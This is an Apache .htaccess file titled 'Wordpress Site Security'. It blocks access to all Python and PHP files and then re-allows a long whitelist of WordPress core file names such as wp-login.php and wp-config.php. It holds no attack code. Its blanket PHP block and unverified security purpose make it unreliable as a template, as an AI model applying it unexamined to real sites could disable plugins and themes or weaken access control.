10 lines
1.7 KiB
ApacheConf
10 lines
1.7 KiB
ApacheConf
# Wordpress Site Security
|
|
<FilesMatch ".(py|php|phtml|php4|php5|php6|php7|php8)$">
|
|
Order allow,deny
|
|
Deny from all
|
|
</FilesMatch>
|
|
<FilesMatch "^(plugin-install.php|menu-header.php|revision.php|upgrade-functions.php|admin.php|user-edit.php|custom-background.php|menu.php|ms-options.php|plugin-editor.php|plugins.php|erase-personal-data.php|options.php|authorize-application.php|export-personal-data.php|post-new.php|options-media.php|ms-users.php|my-sites.php|tools.php|admin-functions.php|wp-login.php|import.php|install.php|ms-sites.php|moderation.php|upload.php|load-styles.php|edit-form-comment.php|media-new.php|upgrade.php|site-health-info.php|export.php|site-editor.php|custom-header.php|comment.php|admin-ajax.php|media.php|edit.php|options-privacy.php|press-this.php|setup-config.php|link-add.php|theme-install.php|options-writing.php|link-manager.php|users.php|customize.php|edit-tag-form.php|options-reading.php|freedoms.php|ms-delete-site.php|term.php|options-general.php|themes.php|credits.php|user-new.php|update.php|profile.php|nav-menus.php|load-scripts.php|post.php|about.php|widgets.php|async-upload.php|ms-edit.php|admin-footer.php|options-permalink.php|network.php|link.php|install-helper.php|edit-comments.php|ms-admin.php|index.php|admin-post.php|widgets-form-blocks.php|privacy.php|theme-editor.php|link-parse-opml.php|update-core.php|admin-header.php|options-discussion.php|media-upload.php|edit-link-form.php|wp-config.php|options-head.php|edit-form-blocks.php|widgets-form.php|edit-tags.php|ms-upgrade-network.php|edit-form-advanced.php|privacy-policy-guide.php|ms-themes.php|site-health.php)$">
|
|
Order allow,deny
|
|
Allow from all
|
|
</FilesMatch>
|
|
# End Wordpress Site Security |